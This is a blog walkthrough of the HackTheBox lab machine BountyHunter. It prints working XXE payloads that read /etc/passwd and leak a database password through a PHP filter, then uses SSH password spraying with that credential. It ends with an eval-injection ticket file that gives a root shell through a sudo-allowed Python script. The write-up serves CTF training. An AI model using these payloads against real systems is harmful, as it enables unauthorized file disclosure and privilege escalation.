[HackTheBox] BountyHunter

[HackTheBox] BountyHunter

https://app.hackthebox.com/machines/BountyHunter

·

7 min read

Footprinting

Open ports

Nmap SYN scan shows only SSH and HTTP services are opened:

kali@kali:~$  sudo nmap -sS -p- -Pn -v10 -oA nmap/syn_full 10.10.11.100
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

NSE scan:

kali@kali:~$ nmap -sC -sV -p22,80 -Pn -v10 -oA nmap/vuln 10.10.11.100
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDLosZOXFZWvSPhPmfUE7v+PjfXGErY0KCPmAWrTUkyyFWRFO3gwHQMQqQUIcuZHmH20xMb+mNC6xnX2TRmsyaufPXLmib9Wn0BtEYbVDlu2mOdxWfr+LIO8yvB+kg2Uqg+QHJf7SfTvdO606eBjF0uhTQ95wnJddm7WWVJlJMng7+/1NuLAAzfc0ei14XtyS1u6gDvCzXPR5xus8vfJNSp4n4B5m4GUPqI7odyXG2jK89STkoI5MhDOtzbrQydR0ZUg2PRd5TplgpmapDzMBYCIxH6BwYXFgSU3u3dSxPJnIrbizFVNIbc9ezkF39K+xJPbc9CTom8N59eiNubf63iDOck9yMH+YGk8HQof8ovp9FAT7ao5dfeb8gH9q9mRnuMOOQ9SxYwIxdtgg6mIYh4PRqHaSD5FuTZmsFzPfdnvmurDWDqdjPZ6/CsWAkrzENv45b0F04DFiKYNLwk8xaXLum66w61jz4Lwpko58Hh+m0i4bs25wTH1VDMkguJ1js=
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKlGEKJHQ/zTuLAvcemSaOeKfnvOC4s1Qou1E0o9Z0gWONGE1cVvgk1VxryZn7A0L1htGGQqmFe50002LfPQfmY=
|   256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJeoMhM6lgQjk6hBf+Lw/sWR4b1h8AEiDv+HAbTNk4J3
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP

Bug report form

/log_submit.php contains a POST form to /tracker_diRbPr00f314.php. The web page has the title Bounty Report System - Beta and its form can be filled with the following data:

  • Exploit Title

  • CWE

  • CVSS Score

  • Bounty Reward ($)

Here's an example:

>>>
POST /tracker_diRbPr00f314.php HTTP/1.1
Host: 10.10.11.100

data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5hPC90aXRsZT4KCQk8Y3dlPmI8L2N3ZT4KCQk8Y3Zzcz5jPC9jdnNzPgoJCTxyZXdhcmQ+MTwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg==

The data to send is encoded in base64. Decoding it reveals an XML document:

kali@kali:~$ echo "PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5hPC90aXRsZT4KCQk8Y3dlPmI8L2N3ZT4KCQk8Y3Zzcz5jPC9jdnNzPgoJCTxyZXdhcmQ+MTwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg==" |base64 -d
<?xml  version="1.0" encoding="ISO-8859-1"?>
                <bugreport>
                <title>a</title>
                <cwe>b</cwe>
                <cvss>c</cvss>
                <reward>1</reward>
                </bugreport>

When that XML is sent, each input (namely title, cwe, cvss and reward) is reflected (i.e. shown) in the response:

<<<
Title:     a
CWE:       b
Score:     c
Reward:    1

Xml eXternal Entities

We may check if the form is vulnerable to XXE injection, using an external entity named payload. This entity will point to the content of /etc/passwd in the web server:

<?xml  version="1.0"?>
<!DOCTYPE xxe [<!ENTITY payload SYSTEM "file:///etc/passwd">]>
        <bugreport>
        <title>a</title>
        <cwe>&payload;</cwe>
        <cvss>ab</cvss>
        <reward>a</reward>

The payload got executed and the response discloses the content of the server's /etc/passwd in the CWE field:

>>>
POST /tracker_diRbPr00f314.php HTTP/1.1
Host: 10.10.11.100

data=PD94bWwgIHZlcnNpb249IjEuMCI%2fPg0KPCFET0NUWVBFIHh4ZSBbPCFFTlRJVFkgcGF5bG9hZCBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCI%2bIF0%2bCgkJPGJ1Z3JlcG9ydD4KCQk8dGl0bGU%2bYTwvdGl0bGU%2bCgkJPGN3ZT4mcGF5bG9hZDs8L2N3ZT4KCQk8Y3Zzcz5hYjwvY3Zzcz4KCQk8cmV3YXJkPmE8L3Jld2FyZD4KCQk8L2J1Z3JlcG9ydD4%3d

<<<
Title:        a
CWE:          root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
Score:        c
Reward:       1

Then, we can exploit that XXE to read arbitrary files in the web server !

PHP scripts wrapping

Using gobuster, the web page db.php is disclosed, which would be interesting to read:

kali@kali:~$ gobuster dir -u http://10.10.11.100/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
[...]
/db.php           (Status: 200) [Size: 0]
[...]

As the web server is running PHP, we could use the PHP wrapper php://, with a PHP filter, in order to convert the content of a web page into base64. This is possible with the following XML payload:

<?xml  version="1.0"?>
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=db.php"> ]>
        <bugreport>
        <title>&xxe;</title>
        <cwe>a</cwe>
        <cvss>ab</cvss>

The content of db.php is then disclosed:

<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

But what to do with this password ? In /etc/passwd, there are only 2 users that may connect to the SSH server:

kali@kali:~$ grep sh$ etc_passwd
root:x:0:0:root:/root:/bin/bash
development:x:1000:1000:Development:/home/development:/bin/bash

Then, we could do a password spraying attack with CrackMapExec against the SSH service. This attack tries to login with every username in a wordlist using a unique password. With the following usernames wordlist:

kali@kali:~$ cat users.txt
root
development

development is a valid candidate !

kali@kali:~$ crackmapexec ssh 10.10.11.100 -u users.txt -p 'm19RoAU0hP41A1sTsq6K'
SSH        10.10.11.100        22        10.10.11.100        [+]    development:m19RoAU0hP41A1sTsq6K

kali@kali:~$ ssh development@10.10.11.100
password: m19RoAU0hP41A1sTsq6K

development@bountyhunter:~$

Local privilege escalation

development

The user flag is in the development's HOME directory:

development@bountyhunter:~$ ls
contract.txt  prueba.md  user.txt

development@bountyhunter:~$ cat user.txt
1f[...]36

Note that contract.txt is not really important:

development@bountyhunter:~$ cat contract.txt
Hey team,

I'll be out of the office this week but please make sure that our contract with Skytrain Inc gets completed.

This has been our first job since the "rm -rf" incident and we can't mess this up. Whenever one of you gets on please have a look at the internal tool they sent over. There have been a handful of tickets submitted that have been failing validation and I need you to figure out why.

I set up the permissions for you to test this. Good luck.

-- John

Knowing the password of development, we can launch sudo -l and see which privileged commands he may run:

development@bountyhunter:~$ sudo -l
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

Ticket Validator

The python script is:

development@bountyhunter:~$ cat /opt/skytrain_inc/ticketValidator.py
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

Let's break it down.

local_file(loc)

local_file(loc) returns a file pointer if the given filename ends with .md (the ticket):

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

main()

main() is the first function executed in the script. It evaluates the file given by the user and prints Valid ticket. or Invalid ticket. depending on the result of evaluate(ticket):

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

evaluate(ticketFile)

evaluate(ticketFile) returns a boolean that depends on the content of the given ticket:

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

But more importantly, it runs an eval() function if all the conditions above it are True:

[...]
    for i,x in enumerate(ticketFile.readlines()):
[...]
                validationNumber = eval(x.replace("**", ""))

i is the line number, and x the line's content.

Therefore, if we can run this program as root with no password, this means that putting import os;os.system("/bin/sh") inside eval () would spawn a shell as root !

To do so, we first need to create a .md file which validates every conditions (so return False isn't called):

  • The 1st line must start with # Skytrain Inc:
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
  • The 2nd line must start with ## Ticket to :
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
  • The 3rd must start with __Ticket Code:__. Otherwise, the condition if code_line and i == code_line would be false, as code_line is initialized to None:
    code_line = None
[...]
        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
  • The 4th line must start with **:
            if not x.startswith("**"):
                return False
  • The 4th line should begin with the pattern **INT+, where INT % 7 == 4:
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
  • Finally, the python code in the 4th line is executed:
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))

root

Then, we can spawn a shell with the following ticket file:

development@bountyhunter:~$ cat prueba.md
# Skytrain Inc
## Ticket to     abc
__Ticket Code:__
**102+exec('''import os;os.system("/bin/sh")''')

Finally, a root shell is spawned using the sudo command !

development@bountyhunter:~$ sudo python ticketValidator.py
Please enter the path to the ticket file.
prueba.md
Destination:     abc

$ whoami
root

$ cat /root/root.txt
16[...]04

ippsec walkthrough

Did you find this article valuable?

Support jamarir by becoming a sponsor. Any amount is appreciated!